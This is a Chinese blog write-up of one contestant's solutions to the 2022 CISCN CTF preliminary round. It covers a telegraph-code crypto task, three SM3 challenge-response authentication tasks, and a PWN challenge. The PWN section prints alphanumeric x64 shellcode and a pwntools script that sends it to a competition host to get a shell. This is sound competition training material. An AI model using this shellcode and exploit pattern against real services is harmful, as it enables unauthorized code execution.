2022 CISCN 初赛

2022 第十五届全国大学生信息安全竞赛创新实践能力赛 中个人writeup。

首先很感谢我的队友们。这次的比赛的结果对于我这个CTF新人来说已经很满意了,就是不知道能不能出现。以下是我做出的题的题解,非预期很多的。

Crypto

签到电台

公众号得到提示。

网络上查询 ”弼时安全到达了“ 的中文电码。

1
2
3
4
5
6
7
	1732
2514
1344
0356
0451
6671
0055

拿电码本的前28位。

1
2
3
4
5
6
7
8
9
10
a = list("2552343326547861313322543061")
b = list("1732251413440356045166710055")

a = list(map(eval, a))
b = list(map(eval, b))

for i in range(len(a)):
print((a[i]+b[i])%10, end="")

# 3284594739987117358488253016

然后直接发包:

1
2
http://eci-2zecfqrktxe0xcfnex4l.cloudeci1.ichunqiu.com:8888/send?msg=3284594739987117358488253016J
# flag{5ce075fc-146c-41ce-8c2e-1619685254af}

这题最后被打的只剩下个位数了…

基于挑战码的双向认证1

1
ssh 101.201.123.35 -p 30847 

连接到服务器。

进入src目录。执行make后回到cube-challenge目录执行player.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
[player@engine-1 cube-challenge]$ cd src/
[player@engine-1 src]$ make
make -C login_server || exit "$?"; make -C login_user || exit "$?";
make[1]: Entering directory `/home/player/cube-challenge/src/login_server'
gcc -g -shared -o liblogin_server.so login_server.o -L/root/centoscloud/cube-1.3/cubelib/lib -lmessage -lmemdb -lconnector -lstruct -lcrypto_func -lpthread
mv liblogin_server.so /home/player/cube-challenge/plugin
cp login_server.cfg /home/player/cube-challenge/plugin
make[1]: Leaving directory `/home/player/cube-challenge/src/login_server'
make[1]: Entering directory `/home/player/cube-challenge/src/login_user'
gcc -g -c -fPIC -DUSER_MODE -I/root/centoscloud/cube-1.3/proc/include -I/root/centoscloud/cube-1.3/include -I/home/player/cube-challenge/include login_user.c
login_user.c: In function ‘proc_login_request’:
login_user.c:90:2: warning: passing argument 2 of ‘message_get_record’ from incompatible pointer type [enabled by default]
ret=message_get_record(recv_msg,&login_input,0);
^
In file included from login_user.c:9:0:
/root/centoscloud/cube-1.3/include/cube.h:139:6: note: expected ‘void **’ but argument is of type ‘struct record_GENERAL_RETURN_STRING **’
int message_get_record(void * message, void ** msg_record,int record_no);
^
login_user.c: In function ‘proc_login_response’:
login_user.c:145:2: warning: passing argument 2 of ‘message_get_record’ from incompatible pointer type [enabled by default]
ret=message_get_record(recv_msg,&login_info,0);
^
In file included from login_user.c:9:0:
/root/centoscloud/cube-1.3/include/cube.h:139:6: note: expected ‘void **’ but argument is of type ‘struct record_USER_DEFINE_LOGIN **’
int message_get_record(void * message, void ** msg_record,int record_no);
^
login_user.c: In function ‘proc_login_result’:
login_user.c:214:2: warning: passing argument 2 of ‘message_get_record’ from incompatible pointer type [enabled by default]
ret=message_get_record(recv_msg,&return_info,0);
^
In file included from login_user.c:9:0:
/root/centoscloud/cube-1.3/include/cube.h:139:6: note: expected ‘void **’ but argument is of type ‘struct record_USER_DEFINE_RETURN **’
int message_get_record(void * message, void ** msg_record,int record_no);
^
gcc -g -shared -o liblogin_user.so login_user.o -L/root/centoscloud/cube-1.3/cubelib/lib -lmessage -lmemdb -lconnector -lstruct -lcrypto_func -lpthread
mv liblogin_user.so /home/player/cube-challenge/plugin
cp login_user.cfg /home/player/cube-challenge/plugin
make[1]: Leaving directory `/home/player/cube-challenge/src/login_user'
[player@engine-1 src]$ ls
hacker login_server login_user Makefile
[player@engine-1 src]$ cd ..
[player@engine-1 cube-challenge]$ ls
define exec_def include instance login_challenge.sh login.sh player.sh plugin run_cube.sh set_env.sh src
[player@engine-1 cube-challenge]$ ./login_challenge.sh
-bash: ./login_challenge.sh: Permission denied
[player@engine-1 cube-challenge]$ sudo login_challenge.sh
-bash: sudo: command not found
[player@engine-1 cube-challenge]$ sh player.sh
mkdir: cannot create directory ‘lib’: File exists

{"name":"script_run","return_value":"test_start"}

{"name":"shell","return_value":"hacker_start"}

{"name":"shell","return_value":"server_start"}

{"name":"shell","return_value":"copy_plugin"}

{"name":"shell","return_value":"trigger_start"}

{"name":"shell","return_value":"user_login"}

{"name":"shell","return_value":"user1_login"}

{"name":"shell","return_value":"trigger_output"}

{"message":"flag{884afba9-bad3-470f-a892-442f383708c5}"}

# flag{884afba9-bad3-470f-a892-442f383708c5}

挺离谱的…

可能是因为我直接将login_user.c的swp文件恢复了,回到了之前的某一个时刻,然后那个时间的代码时可以用的?

基于挑战码的双向认证2

还是逃不过写代码…

重新下发虚拟机,这次不恢复之前的vim数据。

进入login_user.c。

找到填写Mb‘和Ma地方。

看流程我们需要补全这两个代码。也就是客户端验证服务端发送的Mb,以及计算自己的Ma。

先看以下server的代码是怎么写的,不然API不会用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if (Memcmp(login_info->passwd,Empty_Password,DIGEST_SIZE)==0)
{
user_state->curr_state=CHALLENGE;
Memcpy(user_state->proc_name,login_info->proc_name,DIGEST_SIZE);
Memcpy(user_state->node_uuid,login_info->machine_uuid,DIGEST_SIZE);
Memcpy(user_state->nonceA,login_info->nonce,DIGEST_SIZE);
RAND_bytes(user_state->nonceB,DIGEST_SIZE);

Memset(Buf,0,DIGEST_SIZE*4);
Strncpy(Buf,user_state->passwd,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,user_state->nonceA,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE*2,user_state->nonceB,DIGEST_SIZE);
calculate_context_sm3(Buf,DIGEST_SIZE*3,login_info->passwd);
Memcpy(login_info->nonce,user_state->nonceB,DIGEST_SIZE);
new_msg=message_create(TYPE_PAIR(USER_DEFINE,LOGIN),recv_msg);

按照上面的格式进行编写。

1
2
3
4
5
6
7
// compute Mb‘ value
Memset(Buf,0,DIGEST_SIZE*4);
Strncpy(Buf,client_state->key,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,client_state->nonceA,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE*2, client_state->nonceB,DIGEST_SIZE);
calculate_context_sm3(Buf,DIGEST_SIZE*3,Buf+DIGEST_SIZE*3);
// add your code here!

sm3的数据存放位置是通过下面的比较函数得到的。

1
2
3
4
5
6
7
// reponse phrase: compute  the Ma value start
// add your code here!
Memset(Buf,0,DIGEST_SIZE*2);
Strncpy(Buf,client_state->key,DIGEST_SIZE);
Memcpy(Buf+DIGEST_SIZE,client_state->nonceB,DIGEST_SIZE);
calculate_context_sm3(Buf,DIGEST_SIZE*2,login_info->passwd);
// compute Ma value end

写完之后make。回头来跑程序。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
[player@engine-1 cube-challenge]$ sh player.sh 
mkdir: cannot create directory ‘lib’: File exists

{"name":"script_run","return_value":"test_start"}

{"name":"shell","return_value":"hacker_start"}

{"name":"shell","return_value":"server_start"}

{"name":"shell","return_value":"copy_plugin"}

{"name":"shell","return_value":"trigger_start"}

{"name":"shell","return_value":"user_login"}

{"name":"shell","return_value":"user1_login"}

{"name":"shell","return_value":"trigger_output"}

{"message":"flag{61b1bf81-41c1-43d3-8af2-7ddc257b6653}"}

{"message":"flag{34f5fdaf-c373-47fd-afab-01ed2914c11a}

# flag{34f5fdaf-c373-47fd-afab-01ed2914c11a}

两个flag都出来了??

基于挑战码的双向认证3

还是使用2的代码再跑一遍就行了,虽然我很不理解…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
[player@engine-1 cube-challenge]$ sh player.sh 
mkdir: cannot create directory ‘lib’: File exists

{"name":"script_run","return_value":"test_start"}

{"name":"shell","return_value":"hacker_start"}

{"name":"shell","return_value":"server_start"}

{"name":"shell","return_value":"copy_plugin"}

{"name":"shell","return_value":"trigger_start"}

{"name":"shell","return_value":"user_login"}

{"name":"shell","return_value":"user1_login"}

{"name":"shell","return_value":"trigger_output"}

{"message":"flag{useless_flag}"}

{"message":"flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}"}

# flag{7b352ef0-1bb1-41af-a7d7-b74f62ff23f0}

这三题都在500解朝上…全是非预期了都。

PWN

login_normal

在函数中sub_DA8中

1
2
3
4
5
v1 = getpagesize();
dest = (void *)(int)mmap((char *)&loc_FFE + 2, v1, 7, 34, 0, 0LL);
v2 = strlen(a1);
memcpy(dest, a1, v2);
((void (*)(void))dest)();

call了一个指针,这个而且内容我们可以自己确定。以此来打shellcode。

1
2
3
4
5
6
7
8
9
10
11
12
{
if ( !isprint(a1[i]) && a1[i] != 10 )
{
puts("oh!");
exit(-1);
}
}
if ( f1 != 1 )
{
puts("oh!");
exit(-1);
}

上方有两个值需要绕过。这两个值在sub_CBD中可以被修改为1。

所以我们要先进入sub_CBD再进入sub_DA8。

在主流程sub_FFD中。判断输入参数为opt与msg。最后的switch可以进入我们想要的函数。分别是1和2.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
switch ( v7 )
{
case 2:
sub_DA8((const char *)dest);
break;
case 3:
sub_EFE((const char *)dest);
break;
case 1:
sub_CBD((const char *)dest);
break;
default:
puts("error.");
exit(6);
}

而v7是在上方的opt参数中转换得到的。所以我们需要输入的参数包含了opt:1和opt:2。

1
2
3
4
5
6
7
8
9
if ( !strcmp(a1, "ro0t") )
{
f1 = 1;
f2 = 1;
}
else
{
f1 = 1;
}

sub_CBD需要msg参数的值为ro0t。

所以两次输入的参数可以得到:

1
2
3
4
opt:1
msg:ro0t
opt:2
msg:shellcode

由于dest执行之前检查了内容是不是全是可打印的字符,所以这里我们的shellcode需要转换成明文。

1
2
3
4
5
6
7
8
mov     rsi, rcx        ; src
mov rdi, rax ; dest
call _memcpy
mov rax, [rbp+dest]
mov [rbp+var_20], rax
mov rdx, [rbp+var_20]
mov eax, 0
call rdx

dest是由rdx进行跳转的。所以我们生成对应的shellcode的时候要使用rdx参数。

1
2
└─$ ./shellcode_x64.sh rdx
Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

得到shellcode。

1
2
3
4
5
6
7
8
from pwn import *

r = remote("39.107.153.91", 30443)
r.sendline(b'opt:1\nmsg:ro0t\r\n')
r.sendline(b'opt:2\nmsg:Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t\r\n')
r.interactive()

# flag{2781427d-0d69-460a-abf1-c2ce4529e6de}

这题也有400解了…国赛属实恐怖…

题外话

这比赛打的挺无语的,对我一个主攻Crypto的人来说…这次Crypto出的就…挺无语的,这三题能叫Crypto吗?全是非预期…还有直接拿root账户的,真的是十分有意思。华东北是真的卷,都不知道这次能不能出线了。打完这比赛我就觉得,我学了这一段时间的CTF都白学了。开始想念去年的360了。


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!